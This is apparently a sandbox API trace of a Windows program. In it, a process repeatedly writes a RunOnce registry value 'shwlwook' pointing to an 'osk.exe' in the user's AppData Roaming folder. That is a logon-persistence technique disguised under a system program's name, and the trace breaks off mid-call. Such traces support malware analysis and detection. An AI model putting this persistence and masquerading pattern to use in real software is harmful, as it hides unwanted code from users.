FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x62403a0) returned 0x0 [0256.464] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x25 [0256.464] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.464] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.464] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.465] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.465] RegCloseKey (hKey=0x14c) returned 0x0 [0256.465] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.465] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.476] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.476] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.477] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.477] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.477] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x62403f0 | out: ppvObject=0x62403f0*=0x0) returned 0x80004002 [0256.477] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x27 [0256.477] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.477] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x28 [0256.477] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e04e0) returned 0x0 [0256.477] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x27 [0256.478] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.478] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.478] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.478] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.478] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240410 | out: ppvObject=0x6240410*=0x0) returned 0x80004002 [0256.478] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x28 [0256.478] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x27 [0256.478] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.478] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x27 [0256.478] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x6240420) returned 0x0 [0256.479] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x26 [0256.479] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.480] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.480] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.480] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.480] RegCloseKey (hKey=0x14c) returned 0x0 [0256.480] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.481] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.492] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.492] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.493] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.493] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.493] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240470 | out: ppvObject=0x6240470*=0x0) returned 0x80004002 [0256.493] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x28 [0256.493] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.493] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x29 [0256.493] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e0480) returned 0x0 [0256.493] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x28 [0256.494] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.494] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.494] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.494] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.494] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240490 | out: ppvObject=0x6240490*=0x0) returned 0x80004002 [0256.494] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x29 [0256.494] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x28 [0256.494] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.494] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x28 [0256.494] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x62404a0) returned 0x0 [0256.495] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x27 [0256.495] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.496] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.496] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.496] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.496] RegCloseKey (hKey=0x14c) returned 0x0 [0256.496] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.497] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.524] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.524] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.549] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.554] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.554] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x62404f0 | out: ppvObject=0x62404f0*=0x0) returned 0x80004002 [0256.554] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x29 [0256.554] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.560] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x2a [0256.560] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e0420) returned 0x0 [0256.560] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x29 [0256.560] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.560] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.560] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.561] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.561] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240510 | out: ppvObject=0x6240510*=0x0) returned 0x80004002 [0256.561] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x2a [0256.561] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x29 [0256.561] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.561] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x29 [0256.561] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, 